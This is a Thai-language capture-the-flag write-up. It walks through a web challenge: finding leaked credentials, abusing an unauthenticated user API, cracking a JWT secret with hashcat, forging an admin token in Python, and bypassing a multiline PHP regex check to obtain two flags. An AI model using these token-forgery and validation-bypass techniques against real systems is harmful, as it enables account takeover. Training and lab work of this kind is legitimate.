สวัสดีครับ 👋🏻 ผม อัฎษฎา วิริยา
ปัจจุบันกำลังศึกษาอยู่ในระดับปริญญาตรี สาขาวิศวกรรมคอมพิวเตอร์
คณะวิศวกรรมศาสตร์ มหาวิทยาลัยเชียงใหม่
ยินดีที่ได้รู้จักครับ! 😊

🔗 เว็บไซต์โจทย์: https://web1.ctf.p7z.pw/

🎯 เป้าหมาย:

  • ค้นหา Flag รูปแบบ STH1{...}
  • เข้าสู่ระบบด้วยสิทธิ์ผู้ดูแลระบบ (Flag 1)
  • พิมพ์เงินออกจากระบบ (Flag 2)

🚩 Flag 1: เข้าสู่ระบบผู้ดูแลระบบ

🔍 1. สำรวจหน้าเว็บ

เข้าสู่ https://web1.ctf.p7z.pw/ และตรวจสอบ View Page Source พบข้อมูล Credentials ในคอมเมนต์:

ภาพที่ 1 แสดงคอมเมนต์ใน Source Code

Credentials ที่พบ:

  • Username: test
  • Password: test

ใช้ Credentials เหล่านี้เพื่อเข้าสู่ระบบ


🔍 2. ตรวจสอบ API และข้อมูลเพิ่มเติม

หลังเข้าสู่ระบบ ระบบนำไปยัง https://web1.ctf.p7z.pw/userinfo.php ซึ่งแสดงข้อมูลผู้ใช้

ภาพที่ 0 แสดงหน้า User Info

ตรวจสอบ View Page Source อีกครั้ง พบการโหลดไฟล์ script.js:

ภาพที่ 2 แสดงการโหลดไฟล์ script.js ใน Source Code

เนื้อหาใน script.js เกี่ยวข้องกับการดึงข้อมูลผู้ใช้ผ่าน API:

// เอาไว้ดึงข้อมูล user ที่ login ปกติ
document.addEventListener('DOMContentLoaded', () => {
  // Fetch the current user's information from the API
  fetch('api.php?action=get_userinfo')
    .then(response => response.json())
    .then(data => {
      if (data.username) {
        // Populate the page with user info
        document.getElementById('username').textContent = data.username;
        document.getElementById('role').textContent = data.role;
        document.getElementById('status').textContent = data.status;
      } else if (data.error) {
        console.error('API Error:', data.error);
      } else {
        console.error('Unexpected response format.');
      }
    })
    .catch(err => {
      console.error('Error fetching user info:', err);
    });
});

// เอาไว้ดูข้อมูลตาม user ที่กรอกไป user={username}
function debugFetchUserTest() {
  fetch('api.php?action=get_userinfo&user=test')
    .then(response => response.json())
    .then(data => {
      console.log('Debug get_userinfo for user=test:', data);
    })
    .catch(err => {
      console.error('Error in debugFetchUserTest:', err);
    });
}

// เอาไว้ดู username ของทั้งหมดที่มีในระบบ
function debugFetchAllUsers() {
  // admin.php
  fetch('api.php?action=get_alluser')
    .then(response => response.json())
    .then(data => {
      console.log('Debug get_alluser result:', data);
    })
    .catch(err => {
      console.error('Error in debugFetchAllUsers:', err);
    });
}

🔎 3. ค้นหา Username ทั้งหมด

เรียกใช้งาน API get_alluser:

🔗 URL: https://web1.ctf.p7z.pw/api.php?action=get_alluser

ผลลัพธ์:

[
  "test",
  "admin-uat"
]

พบ Username admin-uat ที่น่าจะเป็นผู้ดูแลระบบ


🔑 4. ดึงข้อมูลผู้ใช้

ทดสอบเรียก API get_userinfo สำหรับแต่ละผู้ใช้:

🔹 ผู้ใช้ test

🔗 URL: https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=test

ผลลัพธ์:

{
  "username": "test",
  "role": "user",
  "remember_me_token": "b81943ba-d1c5-495a-8427-4711c39256bf",
  "status": "Novice scammer, successfully conned 3 victims."
}

🔹 ผู้ใช้ admin-uat

🔗 URL: https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=admin-uat

ผลลัพธ์:

{
  "username": "admin-uat",
  "role": "admin",
  "remember_me_token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
  "status": "Gang boss, oversees all operations."
}

🏴 5. ยกระดับสิทธิ์ด้วย Cookie remember_me

เมื่อกดดู Cookie จะเห็น remember_me :

remember_me = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8

Decode JWT ที่ jwt.io:

ภาพที่ 3 แสดงการ Decode JWT บน jwt.io

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "token": "b81943ba-d1c5-495a-8427-4711c39256bf"
}

Payload มีค่า remember_me_token ของ user: test ที่ถูกเข้ารหัสด้วย JWT

เป้าหมาย: ค้นหา Secret Key ที่ใช้เข้ารหัส เพื่อสร้าง JWT Token ใหม่สำหรับ admin-uat

ทำการ Brute Force Secret Key ของ test ด้วย hashcat:

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 rockyou.txt

ผลลัพธ์:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8:"bobcats"

พบ Secret Key: "bobcats"

ใช้ Python Script เพื่อเข้ารหัส remember_me_token ของ admin-uat ด้วย Secret Key ที่พบ:

import jwt

payload = {"token": "73eb7063-f8c3-4e50-bea2-07c05681aa92"}
secret_key = "bobcats"

token = jwt.encode(
    payload,
    secret_key,
    headers={"alg": "HS256", "typ": "JWT"}
)

print("Token's admin-uat:", token)

ผลลัพธ์:

Token's admin-uat: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I

เปลี่ยนค่า Cookie remember_me ใน Browser เป็น Token ใหม่นี้ แล้วเข้าสู่ระบบ จะได้สิทธิ์ admin

ภาพที่ 4 แสดงการแก้ไข Cookie ใน Browser

หลังจากแก้ไข Cookie จะสามารถเข้าถึงหน้า Admin ได้:

ภาพที่ 5 แสดงหน้า Admin

เข้าสู่หน้า https://web1.ctf.p7z.pw/admin.php และตรวจสอบ View Page Source พบ Flag 1:

</span>
 lang="en">

   charset="UTF-8">
  Admin Panel - Money Printer
  
   rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">


   class="container mt-5">
    Admin Money Printing Panel
     class="card mb-3">
       class="card-body">
                        
         method="POST">
           class="mb-3">
             for="amount" class="form-label">Number of notes to print
             type="number" name="amount" id="amount" class="form-control" placeholder="e.g. 100">
          
           class="mb-3">
             for="denomination" class="form-label">Denomination
             name="denomination" id="denomination" class="form-control">
               value="USD">USD
               value="EUR">EUR
               value="GBP">GBP
               value="SGD">SGD
            
          
           type="submit" class="btn btn-primary">Print
        
      
    
    
     action="logout.php" method="POST">
       type="submit" class="btn btn-danger">Logout
    
  
   class="text-center mt-4 mb-3">
  
   class="small mb-0">
    © 2025 
    Siam Thanat Hack Co., Ltd.
    All rights reserved.
  








    Enter fullscreen mode
    


    Exit fullscreen mode
    




แล้วก็เจอ Flag 1
🚩 Flag 1: STH1{310052ba6883872435f7c5aafa850813}
  
  
  💸 Flag 2: พิมพ์เงินออกจากระบบ
จาก Source Code หน้า admin.php พบเงื่อนไขที่เกี่ยวข้องกับการพิมพ์เงิน:

function validateNumber($input) {
    if (preg_match('/^[0-9]+$/m', $input)) {
        return true;
    }
    return false;
}

$amount = $_POST['amount'] ?? '';
[...]

if(validateNumber($amount) && strpos($amount, 'STH') ){
    $outputMessage = "Printing $amount $denom ... Completed!";
    $outputMessage .= "Serial Number: ".$_ENV['FLAG2']."";

}else{
    $outputMessage = 'We need a number, but not a number';
}



    Enter fullscreen mode
    


    Exit fullscreen mode
    




เงื่อนไขคือ $amount ต้อง:
 เป็นตัวเลขทั้งหมด (validateNumber($amount) คืนค่า true ผ่าน Regex /^[0-9]+$/m)
 มีสตริง "STH" อยู่ภายใน (strpos($amount, 'STH') คืนค่า true)
เนื่องจาก Regex /^[0-9]+$/m มี Modifier /m ทำให้ ^ และ $ จับคู่กับจุดเริ่มต้นและจุดสิ้นสุดของแต่ละบรรทัดวิธีแก้: ส่งค่า $amount ที่มีหลายบรรทัด โดย:
บรรทัดแรกเป็นตัวเลข
อีกบรรทัดมี "STH"

Payload (ส่งแบบ POST ไปที่ https://web1.ctf.p7z.pw/admin.php):Body:

amount=123%0ASTH&denomination=USD



    Enter fullscreen mode
    


    Exit fullscreen mode
    




โดย %0A คือ Line Feed character (ขึ้นบรรทัดใหม่)เมื่อส่ง Request นี้ จะทำให้เงื่อนไข if(validateNumber($amount) && strpos($amount, 'STH') ) เป็นจริง และแสดง Flag 2🚩 Flag 2: STH2{d9d2532fd8ad5419450b5ea34ed93f32}
  
  
  🎉 Conclusion


Flag 1: STH1{310052ba6883872435f7c5aafa850813}


Flag 2: STH2{d9d2532fd8ad5419450b5ea34ed93f32}

🚀 Challenge completed! 🏆